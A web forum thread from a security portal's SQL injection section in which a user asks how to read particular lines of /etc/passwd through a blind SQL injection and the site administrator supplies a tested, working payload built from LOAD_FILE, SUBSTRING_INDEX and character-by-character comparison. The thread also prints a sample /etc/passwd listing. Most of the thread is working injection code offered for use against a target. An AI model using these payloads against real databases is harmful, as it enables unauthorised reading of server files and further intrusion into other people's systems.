Waraxe IT Security Portal
Login or Register
November 21, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 82
Members: 0
Total: 82
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Problem with SQL blind..'LIMIT'
Post new topicReply to topic View previous topic :: View next topic
Problem with SQL blind..'LIMIT'
PostPosted: Mon Jan 18, 2010 4:04 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




Hey,

Code:
AND (substring((SELECT load_file('/etc/passwd') limit 0,1),1,1)='r')


I have a SQL blind ...and I wanna selecte a line into the file that I load'..When i try like that I just got the first one..

Code:
root:x..


So I want to choose another line for example as "www-data:x:33:33:www-data:/v.." I have tried with LIMIT x,y but it gave me the same result.. Need a solution please..

Code:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
dhcp:x:101:101::/nonexistent:/bin/false
syslog:x:102:102::/home/syslog:/bin/false
klog:x:103:103::/home/klog:/bin/false
cupsys:x:100:106::/home/cupsys:/bin/false
messagebus:x:104:107::/var/run/dbus:/bin/false


Plz need help, is very important for me..and Thank's in advanced...
View user's profile Send private message Visit poster's website
PostPosted: Mon Jan 18, 2010 5:52 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




LOAD_FILE() does read in full contents of the file. In "/etc/password" lines are separated with newlines ("\n"), but still you can access all lines by using SUBSTRING() function in MySql. "LIMIT" is not needed here!
And if you want to access specific line in file directly, then use MySql string functions to find needed newline position and then substring with offset can do the work.

http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring-index

Code:

Posted by Bob Collins on March 17 2006 8:56pm [Delete] [Edit]

MySQL does not include a function to split a delimited string. Although separated data would normally be split into separate fields within a relation data, spliting such can be useful either during initial data load/validation or where such data is held in a text field.

The following formula can be used to extract the Nth item in a delimited list, in this case the 3rd item "ccccc" in the example comma separated list.

select replace(substring(substring_index('aaa,bbbb,ccccc', ',', 3), length(substring_index('aaa,bbbb,ccccc', ',', 3 - 1)) + 1), ',', '') ITEM3

The above formula does not need the first item to be handled as a special case and returns empty strings correctly when the item count is less than the position requested.

View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Jan 19, 2010 1:25 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




Euh can you give me somes examples waraxe? with columns or load_file() function cuz I just have tried this and it doesnt workin'..Sorry and thank's for all things...


Code:
AND ascii(substring((SELECT SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),'\n',1)),1,1))>114


It give me just the same results as first.. ( root:...)

I'm waiting.. Rolling Eyes
View user's profile Send private message Visit poster's website
PostPosted: Tue Jan 19, 2010 2:13 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I did some practical tests in phpmyadmin and here is working example:

Code:

SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')


This piece of sql code will select 9-th line from "/etc/passwd".
Next you must put this code inside your sql payload:

Code:

AND (SUBSTRING((SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')),1,1)='w')
View user's profile Send private message Send e-mail Visit poster's website
Problem with SQL blind..'LIMIT'
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.057 Seconds